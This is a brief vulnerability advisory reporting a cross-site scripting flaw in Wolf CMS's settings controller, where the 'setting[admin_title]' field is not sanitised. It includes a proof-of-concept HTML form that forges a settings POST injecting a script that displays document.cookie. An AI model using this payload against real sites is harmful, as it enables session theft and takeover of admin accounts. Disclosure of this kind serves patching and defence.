Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "wolf/app/controllers/SettingController.php" script to properly sanitize user-supplied input in "setting[admin_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/setting&quot; method="post" name="main">

<input type="hidden" name="setting[admin_title]" value='Wolf CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[admin_email]" value="[email protected]">
<input type="hidden" name="setting[language]" value="pl">
<input type="hidden" name="setting[theme]" value="brown_and_green">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">
